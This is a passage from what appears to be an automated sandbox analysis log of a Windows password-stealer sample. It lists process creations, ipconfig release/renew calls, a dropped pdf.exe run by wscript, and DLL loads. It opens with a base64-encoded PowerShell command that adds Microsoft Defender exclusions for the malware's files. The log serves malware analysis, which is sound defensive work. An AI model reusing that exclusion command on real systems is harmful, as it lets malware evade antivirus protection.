QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEQAZQBzAGsAdABvAHAAXABTAGUAYwB1AHIAaQB0AGUASQBuAGYAbwAuAGMAbwBtAC4AVwBpAG4AMwAyAC4AUABXAFMAWAAtAGcAZQBuAC4AMgAyADcAMgA4AC4AMQAzADgANAA3AC4AZQB4AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABDADoAXABVAHMAZQByAHMAXABqAG8AbgBlAHMAXABEAGUAcwBrAHQAbwBwAFwAUwBlAGMAdQByAGkAdABlAEkAbgBmAG8ALgBjAG8AbQAuAFcAaQBuADMAMgAuAFAAVwBTAFgALQBnAGUAbgAuADIAMgA3ADIAOAAuADEAMwA4ADQANwAuAGUAeABlADsAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAcABkAGYALgBlAHgAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAcABkAGYALgBlAHgAZQA=	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /renew	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /release	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /renew	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Roaming\pdf.exe "C:\Users\user\AppData\Roaming\pdf.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /release	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pdf.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /renew	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /release
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /renew

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mpclient.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wmitomi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pdf.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pdf.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pdf.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pdf.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pdf.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pdf.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pdf.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pdf.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pdf.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pdf.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pdf.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pdf.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pdf.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pdf.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pdf.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pdf.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pdf.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pdf.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pdf.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pdf.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pdf.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pdf.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pdf.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pdf.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pdf.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pdf.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pdf.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pdf.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pdf.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pdf.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pdf.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pdf.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pdf.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pdf.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pdf.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pdf.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pdf.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pdf.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pdf.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pdf.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pdf.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pdf.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pdf.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: dnsapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mscoree.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: uxtheme.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: windows.storage.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wldp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: profapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: amsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: userenv.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: vaultcli.dll
